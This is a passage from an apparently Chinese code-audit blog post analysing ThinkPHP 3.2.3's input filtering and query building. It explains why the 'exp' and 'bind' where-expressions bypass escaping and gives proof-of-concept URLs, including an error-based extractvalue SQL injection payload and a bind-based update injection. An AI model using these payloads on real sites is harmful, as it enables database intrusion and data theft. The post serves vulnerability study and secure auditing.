class="hljs-keyword">SELECT</span> `username`,`age` <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> ( username<span class="hljs-operator">=</span><span class="hljs-string">'xy'</span> )<br></code></pre></td></tr></table></figure><ul><li>select()</li></ul><p>执行 select 查询,获取数据表中的多行记录</p><ul><li>find()</li></ul><p>执行 select 查询,读取数据表中的一行数据</p><p>示例:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Home</span>\<span class="hljs-title">Controller</span>;<br><span class="hljs-keyword">use</span> <span class="hljs-title">Think</span>\<span class="hljs-title">Controller</span>;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">IndexController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Controller</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">index</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br> <span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>); <span class="hljs-comment">// 实例化User对象</span><br> <span class="hljs-variable">$User</span>->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'name'</span>=><span class="hljs-variable">$name</span>))->select();<br> }<br>}<br></code></pre></td></tr></table></figure><p>TP 3还提供链式操作,假如我们现在要查询一个User表的满足状态为1的前10条记录,并希望按照用户的创建时间排序</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span>->where(<span class="hljs-string">'status=1'</span>)->order(<span class="hljs-string">'create_time'</span>)->limit(<span class="hljs-number">10</span>)->select();<br></code></pre></td></tr></table></figure><h1 id="0x02-安全过滤机制"><a href="#0x02-安全过滤机制" class="headerlink" title="0x02 安全过滤机制"></a>0x02 安全过滤机制</h1><p>TP3 在<strong>I方法</strong>和数据库操作时都提供有自动安全过滤的操作</p><h2 id="I-方法的安全过滤"><a href="#I-方法的安全过滤" class="headerlink" title="I 方法的安全过滤"></a>I 方法的安全过滤</h2><blockquote><p>ThinkPHP/Common/functions.php</p></blockquote><p>下面对 <strong>I方法</strong> 的代码做了大量化简,保留了关键逻辑代码</p><ul><li><code>$name</code> 参数是一个字符串,前面提到的格式有 <code>get.id, post.name/s</code>,<strong>I方法</strong>就需要对这样的字符串做解析</li><li>首先<strong>I方法</strong>解析出<code>$name</code>字符串中接收数据的方法 <code>$method</code>,数据类型和数据 <code>$data</code></li><li>通过<code>$filter</code>方法对<code>$data</code>做过滤,一般<code>$filter</code>为空,就会调用系统默认过滤方式<code>htmlspecialchars</code></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-string">'DEFAULT_FILTER'</span> => <span class="hljs-string">'htmlspecialchars'</span>, <span class="hljs-comment">// 默认参数过滤方法 用于I函数...</span><br></code></pre></td></tr></table></figure><ul><li>最后 <code>$data</code> 还要通过 <code>think_filter()</code> 检查,就是匹配数据中是否具有敏感字符,如果 <code>$data</code> 匹配到敏感字符就在数据后添加一个空格,这步操作看似很奇怪,后面会讲这么做的用途</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">I</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>,<span class="hljs-variable">$default</span>=<span class="hljs-string">''</span>,<span class="hljs-variable">$filter</span>=<span class="hljs-literal">null</span>,<span class="hljs-variable">$datas</span>=<span class="hljs-literal">null</span></span>) </span>{<br> <span class="hljs-keyword">if</span>(strpos(<span class="hljs-variable">$name</span>,<span class="hljs-string">'.'</span>)) { <span class="hljs-comment">// 指定参数来源</span><br> <span class="hljs-keyword">list</span>(<span class="hljs-variable">$method</span>,<span class="hljs-variable">$name</span>) = explode(<span class="hljs-string">'.'</span>,<span class="hljs-variable">$name</span>,<span class="hljs-number">2</span>);<br> }<span class="hljs-keyword">else</span>{ <span class="hljs-comment">// 默认为自动判断</span><br> <span class="hljs-variable">$method</span> = <span class="hljs-string">'param'</span>;<br> }<br> <span class="hljs-keyword">switch</span>(strtolower(<span class="hljs-variable">$method</span>)) {<br> <span class="hljs-keyword">case</span> <span class="hljs-string">'get'</span> : <br> <span class="hljs-variable">$input</span> =& <span class="hljs-variable">$_GET</span>;<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-string">'post'</span> : <br> <span class="hljs-variable">$input</span> =& <span class="hljs-variable">$_POST</span>;<br> <span class="hljs-keyword">break</span>;<br> ……<br> <span class="hljs-variable">$data</span> = <span class="hljs-variable">$input</span>;<br><span class="hljs-variable">$data</span> = <span class="hljs-variable">$input</span>[<span class="hljs-variable">$name</span>];<br> <span class="hljs-comment">// 根据 $filter 过滤数据</span><br> <span class="hljs-variable">$data</span> = is_array(<span class="hljs-variable">$data</span>) ? array_map_recursive(<span class="hljs-variable">$filter</span>,<span class="hljs-variable">$data</span>) : <span class="hljs-variable">$filter</span>(<span class="hljs-variable">$data</span>);<br> <span class="hljs-comment">// 调用 think_filter()</span><br> is_array(<span class="hljs-variable">$data</span>) && array_walk_recursive(<span class="hljs-variable">$data</span>,<span class="hljs-string">'think_filter'</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$data</span>;<br>}<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">think_filter</span>(<span class="hljs-params">&<span class="hljs-variable">$value</span></span>)</span>{<br><span class="hljs-comment">// 检查敏感字符</span><br> <span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">'/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i'</span>,<span class="hljs-variable">$value</span>)){<br> <span class="hljs-variable">$value</span> .= <span class="hljs-string">' '</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><p>这里注意 thinkphp3.2.3 中敏感字符不包含BIND,该版本就因为这一点存在一个sql注入的风险</p><h2 id="数据库操作的安全过滤"><a href="#数据库操作的安全过滤" class="headerlink" title="数据库操作的安全过滤"></a>数据库操作的安全过滤</h2><p>通过<strong>I方法</strong>获取外部数据默认会做一些安全过滤,上面看到的系统默认配置有 htmlspecialchars,这个方法能防御大部分的xss注入。因为现在很多程序会使用预编译,所以 TP 中一般不采用<strong>I方法</strong>对外部数据做sql注入的过滤</p><p>所以 TP3 在数据库操作上也有自己的安全过滤方式,TP3有自己的预编译处理方式,在没有使用预编译的情况下,TP3才会做addslash()这样的过滤,而TP3中出现的sql注入问题就是在没有使用预编译的情况下,忽略了一些该过滤的地方</p><p>在这里实在佩服挖到这些漏洞的大佬,最近看MVC模式的代码理解流程都很困难,他们却在复杂的代码中找到关键的问题</p><h3 id="示例程序"><a href="#示例程序" class="headerlink" title="示例程序"></a>示例程序</h3><p>本小节主要通过如下示例代码分析TP3是如何处理sql操作,如何拼接sql语句,如何做安全过滤等操作</p><p>这是一个常见的外部输入where查询条件的sql操作,对TP3数据库操作有一定的普适性</p><blockquote><p>Application/Home/Controller/IndexController.class.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">IndexController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Controller</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br> <span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>); <span class="hljs-comment">// 实例化User对象</span><br> <span class="hljs-variable">$User</span>->field(<span class="hljs-string">'username,age'</span>)->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'username'</span>=><span class="hljs-variable">$name</span>))->select();<br> }<br>}<br></code></pre></td></tr></table></figure><p>访问下面的链接</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">http:<span class="hljs-regexp">//</span>tp.test:<span class="hljs-number">8888</span><span class="hljs-regexp">/index.php/</span>home<span class="hljs-regexp">/index/</span>test?name=s<span class="hljs-string">'</span><br></code></pre></td></tr></table></figure><p>最终执行的sql语句为:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> `username`,`age` <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> `username` <span class="hljs-operator">=</span> <span class="hljs-string">'s\''</span><br></code></pre></td></tr></table></figure><p>下面将仔细分析示例程序sql执行的流程</p><p>按照链式操作的顺序,会依次执行field()、where()、select()。field()用于处理查询的字段,这里数据不可控,我们也不关注了</p><h3 id="where-方法"><a href="#where-方法" class="headerlink" title="where()方法"></a>where()方法</h3><p>先看where()的逻辑,<code>where()</code> 用于构造sql语句的<strong>where条件语句部分</strong>,这是常见的sql注入点。前面提到,模型类提供的<code>where()</code>方法可以接收数组参数或字符串参数 <code>$where</code>,然后 <code>where()</code> 方法将会把相关数据解析到模型对象的 <code>options</code> 数组属性中,用于后续拼接完整的sql语句</p><ul><li>如果 <code>$where</code> 为字符串时,<code>$parse</code> 为传入 <code>where()</code> 的另一个参数,将会被<code>escapeString</code>过滤,然后将<code>$parse</code>格式化放在<code>$where</code>中,最后该字符串的值被放在 <code>$where['_string']</code> 中。这里过滤的明明白白,就不在考虑这种写法的sql注入问题了</li><li>如果 <code>$where</code> 为数组,也是官方推荐的一种方式,在 <code>where()</code> 方法中并没有直接过滤,我们需要关注后续对该值的处理</li><li><code>$where</code> 最终将放在当前模型对象的 <code>options['where']</code> 中,供后面处理</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Model.class.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">where</span>(<span class="hljs-params"><span class="hljs-variable">$where</span>,<span class="hljs-variable">$parse</span>=<span class="hljs-literal">null</span></span>)</span>{<br> <span class="hljs-keyword">if</span>(!is_null(<span class="hljs-variable">$parse</span>) && is_string(<span class="hljs-variable">$where</span>)) {<br> <span class="hljs-variable">$parse</span> = array_map(<span class="hljs-keyword">array</span>(<span class="hljs-keyword">$this</span>->db,<span class="hljs-string">'escapeString'</span>),<span class="hljs-variable">$parse</span>);<br> <span class="hljs-variable">$where</span> = vsprintf(<span class="hljs-variable">$where</span>,<span class="hljs-variable">$parse</span>);<br> }<br> <span class="hljs-keyword">if</span>(is_string(<span class="hljs-variable">$where</span>) && <span class="hljs-string">''</span> != <span class="hljs-variable">$where</span>){<br> <span class="hljs-variable">$map</span> = <span class="hljs-keyword">array</span>();<br> <span class="hljs-variable">$map</span>[<span class="hljs-string">'_string'</span>] = <span class="hljs-variable">$where</span>;<br> <span class="hljs-variable">$where</span> = <span class="hljs-variable">$map</span>;<br> }<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'where'</span>])){<br> <span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'where'</span>] = array_merge(<span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'where'</span>],<span class="hljs-variable">$where</span>);<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'where'</span>] = <span class="hljs-variable">$where</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="select-方法"><a href="#select-方法" class="headerlink" title="select() 方法"></a>select() 方法</h3><p>上面知道如果传入where()的参数为字符串,则直接会被过滤,那传入数组参数是否会经过安全检测呢?</p><p>接下来看看select()是怎么处理的,where()方法将<strong>where字段</strong>部分数据放到了模型对象的options数组属性中保存,select()方法将主要通过options数组组成最终的sql语句,其底层将由 <code>ThinkPHP/Library/Think/Db/Driver.class.php</code> 封装完成,过程比较复杂,下面用一张图简诉其流程</p><p></p><p>可以看到最终的sql语句将由 buildSelectSql() 完成,其中由parseTable(),parseWhere()等若干方法完成sql语句各个set字段的组成</p><p>其中where字段由parseWhere()解析,因为前面对字符串参数已经过滤了,parseWhere()并没有在做过滤(具体代码上图忽略了),而是对数组参数进行了过滤,处理细节位于parseWhereItem(),我们需要关注parseWhereItem()是否做到了严丝合缝</p><h3 id="parseWhereItem"><a href="#parseWhereItem" class="headerlink" title="parseWhereItem()"></a>parseWhereItem()</h3><ul><li>**parseWhereItem()**接收两个参数 <code>$key</code> 和 <code>$val</code>,分别来自为 <code>opention['where']</code> 的键和值</li><li>首先需要知道的是最终过滤的方法是 <code>parseValue()</code>,过滤的值是 <code>$val</code>,过滤后的 <code>$var</code> 和 <code>$key</code> 组成 <code>$whereStr</code> 即最终的where字段</li><li>当 <code>$val</code> 为数组形式时,会进入一个表达式判断,<code>$exp=$val[0]</code>,<code>$exp</code>即为表达式,sql代码的表达式有EQ(等于)、LIKE(模糊查询等)……<ul><li>可以看到,当 <code>$exp</code> 的值为<strong>bind,exp,IN 运算符</strong>时,不会经过 <strong>parseValue()</strong> 的过滤,那么这里就有可能存在一种绕过过滤的可能</li><li><code>$exp</code> 值为bind时,where语句会加上 <code>= :</code>,这会影响后面注入的语句(不过有人发现delete等方法可以消除该符号的影响,这个漏洞后面会具体分析);为IN运算符时,最后构造的sql语句会加上in运算符,稍有干扰;值为exp似乎是最佳选择</li></ul></li><li>当 <code>$val</code> 不为数组形式时,必会受到parseValue()的过滤,遂放弃</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Db/Driver.class.phpline:547-616</span><br><span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseWhereItem</span>(<span class="hljs-params"><span class="hljs-variable">$key</span>,<span class="hljs-variable">$val</span></span>) </span>{<br> <span class="hljs-variable">$whereStr</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$val</span>)) {<br> <span class="hljs-keyword">if</span>(is_string(<span class="hljs-variable">$val</span>[<span class="hljs-number">0</span>])) {<br><span class="hljs-variable">$exp</span>=strtolower(<span class="hljs-variable">$val</span>[<span class="hljs-number">0</span>]);<br> <span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">'/^(eq|neq|gt|egt|lt|elt)$/'</span>,<span class="hljs-variable">$exp</span>)) { <span class="hljs-comment">// 比较运算</span><br> parseValue()……;<br> }<span class="hljs-keyword">elseif</span>(preg_match(<span class="hljs-string">'/^(notlike|like)$/'</span>,<span class="hljs-variable">$exp</span>)){<span class="hljs-comment">// 模糊查找</span><br> parseValue()……;<br> }<span class="hljs-keyword">elseif</span>(<span class="hljs-string">'bind'</span> == <span class="hljs-variable">$exp</span> ){ <span class="hljs-comment">// 使用表达式</span><br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' = :'</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">1</span>];<br> }<span class="hljs-keyword">elseif</span>(<span class="hljs-string">'exp'</span> == <span class="hljs-variable">$exp</span> ){ <span class="hljs-comment">// 使用表达式</span><br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' '</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">1</span>];<br> }<span class="hljs-keyword">elseif</span>(preg_match(<span class="hljs-string">'/^(notin|not in|in)$/'</span>,<span class="hljs-variable">$exp</span>)){ <span class="hljs-comment">// IN 运算</span><br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$val</span>[<span class="hljs-number">2</span>]) && <span class="hljs-string">'exp'</span>==<span class="hljs-variable">$val</span>[<span class="hljs-number">2</span>]) {<br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' '</span>.<span class="hljs-keyword">$this</span>->exp[<span class="hljs-variable">$exp</span>].<span class="hljs-string">' '</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">1</span>];<br> }<span class="hljs-keyword">else</span>{<br> parseValue();<br> }<br> }<span class="hljs-keyword">elseif</span>(preg_match(<span class="hljs-string">'/^(notbetween|not between|between)$/'</span>,<span class="hljs-variable">$exp</span>)){ <span class="hljs-comment">// BETWEEN运算</span><br> parseValue()……;<br> }<span class="hljs-keyword">else</span>{<br> E(L(<span class="hljs-string">'_EXPRESS_ERROR_'</span>).<span class="hljs-string">':'</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">0</span>]);<br> }<br> }<span class="hljs-keyword">else</span> {<br> ……<br> }<br> }<span class="hljs-keyword">else</span> {<br> <span class="hljs-comment">//对字符串类型字段采用模糊匹配</span><br> <span class="hljs-variable">$likeFields</span> = <span class="hljs-keyword">$this</span>->config[<span class="hljs-string">'db_like_fields'</span>];<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$likeFields</span> && preg_match(<span class="hljs-string">'/^('</span>.<span class="hljs-variable">$likeFields</span>.<span class="hljs-string">')$/i'</span>,<span class="hljs-variable">$key</span>)) {<br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' LIKE '</span>.<span class="hljs-keyword">$this</span>->parseValue(<span class="hljs-string">'%'</span>.<span class="hljs-variable">$val</span>.<span class="hljs-string">'%'</span>);<br> }<span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' = '</span>.<span class="hljs-keyword">$this</span>->parseValue(<span class="hljs-variable">$val</span>);<br> }<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$whereStr</span>;<br>}<br></code></pre></td></tr></table></figure><p>然后就构造一个poc验证一下</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://tp.test:8888/index.php/home/index/test?name</span>[<span class="hljs-string">0</span>]=exp&name[1]=111'<br></code></pre></td></tr></table></figure><p>然后跟踪调试过程发现并没有按照预想的进入<code>'exp' == $exp</code>的逻辑,原因是我们传入的exp被加了一个空格,这似乎和<strong>I方法</strong>有关系</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210727161026613.png" alt="image-20210727161026613" style="zoom:50%;" /><p>所以这里也发现了官方为什么强调要使用I方法接收外部数据,<strong>如果没有使用I方法,而是直接使用<code>$_GET</code>等接收外部变量</strong>,那么这里就有sql注入的问题</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://tp.test:8888/index.php/home/index/test?name</span>[<span class="hljs-string">0</span>]=exp&name[1]==<span class="hljs-emphasis">'1'</span> and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #<br></code></pre></td></tr></table></figure><p>实际注入sql语句:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> `username`,`age` <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> `username` <span class="hljs-operator">=</span><span class="hljs-string">'1'</span> <span class="hljs-keyword">and</span> (extractvalue(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x7e</span>,(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>()),<span class="hljs-number">0x7e</span>)))<br></code></pre></td></tr></table></figure><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>目前分析了 ThinkPHP V3.2.3对通过<strong>I方法</strong>对输入变量的安全过滤流程、数据库在解析select语句中的where字段时的安全过滤流程。也发现如果没有按照规范的方法使用 ThinkPHP 也是有可能存在SQL注入问题的。这些不规范的写法也是代码审计时需要找出的问题</p><h1 id="0x03-历史漏洞"><a href="#0x03-历史漏洞" class="headerlink" title="0x03 历史漏洞"></a>0x03 历史漏洞</h1><h2 id="update注入漏洞"><a href="#update注入漏洞" class="headerlink" title="update注入漏洞"></a>update注入漏洞</h2><p>在安全过滤机制一节中主要分析了 select() 方法对 where() 传入的数组参数的处理过程,其中遇到了这样的情况:</p><ul><li><code>$exp</code> 的值为 ‘bind’ 时,构造的 where 字段中间会受到 “ = : “ 符号的影响,但是有人却找到了模型类的save()方法可以消除” : “的影响,最终造成sql注入漏洞,该小节就是关注这一点</li><li><code>$exp</code> 的值为 ‘exp’ 时,基本不会受到影响,但 exp 在 <code>think_filter()</code> 中是特殊字符,<code>$exp</code> 最终值会被加空格,无法进入到该逻辑中</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Db/Driver.class.php</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseWhereItem</span>(<span class="hljs-params"></span>)</span>{<br>……<br> <span class="hljs-keyword">elseif</span>(<span class="hljs-string">'bind'</span> == <span class="hljs-variable">$exp</span> ){ <span class="hljs-comment">// 使用表达式</span><br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' = :'</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">1</span>];<br> }<span class="hljs-keyword">elseif</span>(<span class="hljs-string">'exp'</span> == <span class="hljs-variable">$exp</span> ){ <span class="hljs-comment">// 使用表达式</span><br> <span class="hljs-variable">$whereStr</span> .= <span class="hljs-variable">$key</span>.<span class="hljs-string">' '</span>.<span class="hljs-variable">$val</span>[<span class="hljs-number">1</span>];<br> }<br>……<br>}<br><span class="hljs-comment">//ThinkPHP/Common/functions.php</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">think_filter</span>(<span class="hljs-params">&<span class="hljs-variable">$value</span></span>)</span>{<br><span class="hljs-comment">// TODO 其他安全过滤</span><br><span class="hljs-comment">// 过滤查询特殊字符</span><br> <span class="hljs-keyword">if</span>(preg_match(<span class="hljs-string">'/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i'</span>,<span class="hljs-variable">$value</span>)){<br> <span class="hljs-variable">$value</span> .= <span class="hljs-string">' '</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="save-的使用"><a href="#save-的使用" class="headerlink" title="save()的使用"></a>save()的使用</h3><p>ThinkPHP的模型基类使用save()方法实现了SQL update的操作,用法如下,要更改的数据需要通过数关联组形式传递</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"User"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-comment">// 要修改的数据对象属性赋值</span><br><span class="hljs-variable">$data</span>[<span class="hljs-string">'name'</span>] = <span class="hljs-string">'ThinkPHP'</span>;<br><span class="hljs-variable">$data</span>[<span class="hljs-string">'email'</span>] = <span class="hljs-string">'[email protected]'</span>;<br><span class="hljs-variable">$User</span>->where(<span class="hljs-string">'id=5'</span>)->save(<span class="hljs-variable">$data</span>); <span class="hljs-comment">// 根据条件更新记录</span><br></code></pre></td></tr></table></figure><p>也可以改成对象方式来操作:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"User"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-comment">// 要修改的数据对象属性赋值</span><br><span class="hljs-variable">$User</span>->name = <span class="hljs-string">'ThinkPHP'</span>;<br><span class="hljs-variable">$User</span>->email = <span class="hljs-string">'[email protected]'</span>;<br><span class="hljs-variable">$User</span>->where(<span class="hljs-string">'id=5'</span>)->save(); <span class="hljs-comment">// 根据条件更新记录</span><br></code></pre></td></tr></table></figure><h3 id="构造save-的场景"><a href="#构造save-的场景" class="headerlink" title="构造save()的场景"></a>构造save()的场景</h3><p>这里我们构建一个使用save()方法的场景,并且where()传入数组形式的参数,目的是为了进入bind的处理逻辑。外部参数我们使用严格<strong>I方法</strong>来接收</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br> <span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>); <span class="hljs-comment">// 实例化User对象</span><br> <span class="hljs-variable">$data</span>[<span class="hljs-string">'jop'</span>] = <span class="hljs-string">'111'</span>;<br> <span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'name'</span>=><span class="hljs-variable">$name</span>))->save(<span class="hljs-variable">$data</span>);<br> var_dump(<span class="hljs-variable">$res</span>);<br>}<br></code></pre></td></tr></table></figure><p>为了进入 ‘bind’ 的处理逻辑,下面将构造以下连接测试注入:</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://tp.test:8888/index.php/home/index/test?name</span>[<span class="hljs-string">0</span>]=bind&name[1]=kkey'<br></code></pre></td></tr></table></figure><h3 id="save-处理逻辑"><a href="#save-处理逻辑" class="headerlink" title="save()处理逻辑"></a>save()处理逻辑</h3><p>where() 的处理逻辑在安全过滤机制一节中有提到,当我们传入数组参数时在where()中不会被过滤,参数最终会被放到模型对象的 options 数组属性中保存。上面分析过select()怎么处理的options数组,现在将来 save() 的处理方式</p><blockquote><p>ThinkPHP/Library/Think/Model.class.php</p></blockquote><ul><li>where()方法上面已经分析过,只需要知道当前model类对象的<code>$options</code>存储着where字段的数据,<code>$data</code> 则是存放的set字段的数据</li><li><code>$data</code>,<code>$options</code> 是组成sql语句的关键,最终将交于 <code>db->update()</code> 